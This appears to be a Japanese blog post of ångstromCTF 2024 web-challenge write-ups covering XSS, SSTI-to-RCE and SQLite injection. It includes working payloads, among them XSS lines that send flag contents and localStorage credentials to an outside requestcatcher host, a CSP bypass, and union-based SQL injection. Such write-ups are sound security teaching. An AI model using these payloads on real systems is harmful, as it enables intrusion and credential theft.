はまやんはまやんはまやん

hamayanhamayan's blog

ångstromCTF 2024 Writeups

https://ctftime.org/event/2375

[Web] spinner

ひたすらくるくるさせるサイトが与えられる。説明文によると1万回回転させるとフラグがもらえるようだ。ソースコードを見ると以下のような部分がある。

if (state.total >= 10_000 * 360) {
    state.flagged = true
    const response = await fetch('/falg', { method: 'POST' })
    element.textContent = await response.text()
}

ということで、以下のようにPOSTすればフラグがもらえる。

$ curl -X POST https://spinner.web.actf.co/falg
actf{■■■■■■■■■■■■■■■■■■■■■■}

[Web] markdown

ソースコード有り。XSSする問題。フラグの場所を確認すると、以下。

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})

GET /flagの結果を取得するのがゴール。XSSできる所を探すと以下が見つかる。

app.post('/create', (req, res) => {
    const data = req.body.content ?? ''
    const id = crypto.randomBytes(8).toString('hex')
    posts.set(id, data)
    res.redirect(`/view/${id}`)
})

app.get('/content/:id', (req, res) => {
    const id = req.params.id
    const data = posts.get(id) ?? ''
    res.type('text/plain').end(data)
})

POST /createでデータを検証せずに入れて、GET /content/:idサニタイズせずに出力している。

<img src=1 onerror="
fetch('/flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/out', { method : 'post', body: e })})
">

これを使えばGET /flagの中身をrequestcatcherに送信できる。これを中身にしたページを作り、Admin Botに送ってやればフラグが取得できる。

[Web] winds

ソースコード有り。

@app.post('/shout')
def shout():
    text = request.form.get('text', '')
    if not text:
        return redirect('/?error=No message provided...')

    random.seed(0)
    jumbled = list(text)
    random.shuffle(jumbled)
    jumbled = ''.join(jumbled)

    return render_template_string('''
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>The windy hills</h1>
            <form action="/shout" method="POST">
                <input type="text" name="text" placeholder="Hello!">
                <input type="submit" value="Shout your message...">
            </form>
            <div style="color: red;">{{ error }}</div>
            <div>
                Your voice echoes back: %s
            </div>
        </div>
    ''' % jumbled, error=request.args.get('error', ''))

この部分にSSTI脆弱性がある。render_template_stringに渡す前のテンプレート部分にjumbledが差し込まれている。だが、jumbledはシャッフルされてしまう。しかし、よくよく見るとシャッフルに使われている乱数のシードは0で固定なので、どのようにシャッフルされるかを推測することができる。試すと0123456789 -> 7815342096なので、gcinfo}{{} -> {{config}}とやってみるとconfigが出力されてきた。あとは、以下のようにスクリプトを書いてRCEする。

import requests, random

def shuffle(text):
    random.seed(0)
    jumbled = list(text)
    random.shuffle(jumbled)
    return ''.join(jumbled)

def convert(payload):
    result = ''

    for i in range(len(payload)):
        tester = '*'*i + '!' + '*'*(len(payload) - i - 1)
        print(tester)
        to_idx = shuffle(tester).find('!')
        print(shuffle(tester))
        result += payload[to_idx]

    return result

print(convert("{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}"))

[Web] store

ソースコード無し。検索できるサイトが与えられる。UI上は入力値の制限がかかっているが、BurpのRepeaterあたりを利用して直接色々打ち込んでいくと'An error occurred.と出る。SQL Injection問題のようだ。とりあえず色々すると' or 1=1 --で色々出てくる。更に色々試すとSQLiteが裏で動いていた。

なので、' or 1=1 union select '','',(SELECT group_concat(sql) FROM sqlite_master) --としてスキーマ情報を抜き

CREATE TABLE items (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT,
        detail TEXT
    ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE flags4be9c31bfb3df0f0d25ed2421f2447d0 ( flag TEXT)

最終的には' or 1=1 union select '','',(SELECT flag FROM flags4be9c31bfb3df0f0d25ed2421f2447d0) --でフラグ獲得

[Web] tickler

server.tsというソースコードのみ与えられる。Admin Botが与えられているのでXSSする問題。まずは、フラグの場所を確認しよう。

getFlag: authedProcedure.query(({ ctx }) => {
    if (tickles.get(ctx.user) !== Infinity) {
        return { success: false as const, message: 'Not enough tickles.' }
    }
    return { success: true as const, flag: process.env.FLAG }
}),

ここは/api/getFlagの処理場所であり、永遠にくすぐられているとフラグがもらえる。では、永遠にくすぐられるにはどうすればいいだろうか。/api/doTickleというのもあるが呼び出し毎に+1されるくらいなのでちょっと厳しい。探すとPOST /adminで無限にくすぐられるユーザーが払い出されていた。

if (route === '/admin') {
    if (process.env.ADMIN === undefined) return end()

    const body: Buffer[] = []
    req.on('data', (chunk) => body.push(chunk))
    await new Promise((resolve) => req.on('end', resolve))

    const data = Buffer.concat(body).toString()
    if (data !== process.env.ADMIN) return end()

    const username = crypto.randomBytes(16).toString('hex')
    const password = crypto.randomBytes(16).toString('hex')

    users.set(username, password)
    tickles.set(username, Infinity)

    res.setHeader('content-type', 'application/json')
    return res.end(JSON.stringify({ username, password }))

だが、これを呼び出すにはprocess.env.ADMINを渡す必要がある。しかし、このprocess.env.ADMINをプログラム上でここ以外に呼び出している所が無い。よって、別の手段で環境変数を漏洩させる必要があるのだが、フラグは環境変数process.env.FLAGにあるので環境変数が漏洩されればフラグが分かってしまう…?あまり気にしなくてもいいのかもしれない。

気を取り直して、XSSを探す。プロファイル画像のアップロード部分と表示方法が特殊なことに気が付く。

    setPicture: authedProcedure
        .input(z.object({ url: z.string() }))
        .mutation(async ({ input: { url }, ctx }) => {
            let response
            try {
                response = await fetch(url)
            } catch {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            if (!response.ok) {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            const reader = response.body?.getReader()
            if (reader === undefined) {
                return {
                    success: false as const,
                    message: 'No image data.',
                }
            }

            let size = 0
            const data = []
            while (true) {
                const { done, value } = await reader.read()
                if (done) break
                size += value.byteLength
                if (size > 1e6) {
                    return {
                        success: false as const,
                        message: 'Image too large.',
                    }
                }
                data.push(value)
            }

            const buffer = new Blob(data)
            const array = await buffer.arrayBuffer()
            const base64 = Buffer.from(array).toString('base64')
            pictures.set(ctx.user, {
                data: base64,
                type: response.headers.get('content-type') ?? 'image/png',
            })

            return { success: true as const }
        }),} else if (route === '/picture') {
        if (!url.includes('?')) return end()

        const query = new URLSearchParams(url.slice(url.indexOf('?')))
        const username = query.get('username')

        if (username === null) return end()

        const picture = pictures.get(username)
        if (picture === undefined) return end()

        const { data, type } = picture
        res.end(`data:${type};base64,${data}`)

特筆すべきは、content-typeをresponseから受け取り、それをそのままGET /picture?username=[username]で出力している部分である。これはうまく使えそう。…と思いsniffingを試すがうまくいかない。万策尽き、動的解析時に取得したクライアント側の/client.jsを眺めるとDOM-Based XSS箇所がある。

    "/login": async () => {
      const form = document.querySelector("form");
      const error = document.querySelector("p");
      const query = new URLSearchParams(window.location.search);
      if (query.has("error")) {
        error.innerHTML = query.get("error") ?? "";
      }
      form.addEventListener("submit", async (event) => {
        event.preventDefault();
        const username = form.elements.namedItem("n");
        const password = form.elements.namedItem("p");
        const result = await client.doLogin.mutate({
          username: username.value,
          password: password.value
        });
        if (!result.success) {
          error.textContent = `Login failed. ${result.message}`;
        } else {
          localStorage.setItem("username", username.value);
          localStorage.setItem("password", password.value);
          window.location.href = "/";
        }
      });
    },

ということで/login?error=<s>XSS</s>としてみるとHTMLが動いた。res.setHeader('content-security-policy', 'script-src \'self\'')というCSP設定があるのでストレートには動かない。しかし、先ほど死ぬほど試したpictureを利用した箇所を使えばjavascriptがホストできそうである。

先頭にdata:が付いてしまうが、ラベルとして認識してもらえばいいので、ok. まず、Content-Typeとしてalert(document.domain); //を返すエンドポイントを作成して、ngrokで公開しておく。次に、ユーザー作成・ログインして、以下のように/api/setPictureでアップロードする。

POST /api/setPicture HTTP/1.1
Host: tickler.web.actf.co
Content-Length: 59
Content-Type: application/json
Login: evilman:53039b57d8c94301b0ac6020564c0663

{"url":"https://b7f8-86-48-13-185.ngrok-free.app/payload2"}

これで/picture?username=evilmanにアクセスしてみると、data:alert(document.domain); //;base64,SGVsbG8sIHRoaXMgaXMgbWUuみたいになっているはずで、準備完了。これでDOM-Based XSSのある所で /login?error=%3Ciframe%20srcdoc=%22%3Cscript%20src=%27https://tickler.web.actf.co/picture?username=evilman%27%3E%3C/script%3E%22%3E%3C/iframe%3E のようにiframeでscriptをくるんで指定してやればドメインを含んでポップしてくる。XSS達成できることが分かる。(普通にscriptタグを入れてもDOM-Base XSSの場合は即時発火しないので注意)

cookieを抜いてみたが何もない。通信でLogin: evilman:53039b57d8c94301b0ac6020564c0663のようになっている箇所を思い出す。client.jsを改めて確認し、どこでこれを作っているか見てみる。

const username = localStorage.getItem("username");
const password = localStorage.getItem("password");

localStorageにあったので、これを抜いてくる。Content-Typeをfetch('https://[yours].requestcatcher.com/test', { method : 'post', body: JSON.stringify(localStorage) }); //にして踏ませると{"username":"d1c38f7ab137e144e89f638f533a26c1","password":"f7e1ded284886a0863d2ec880eff7167"}が帰ってくる。ok。

これでAdmin Botが使っている認証情報が得られたので管理者のものとして以下のように使ってみるとフラグ獲得。

GET /api/getFlag HTTP/1.1
Host: tickler.web.actf.co
Content-Length: 0
Content-Type: application/json
Login: d1c38f7ab137e144e89f638f533a26c1:f7e1ded284886a0863d2ec880eff7167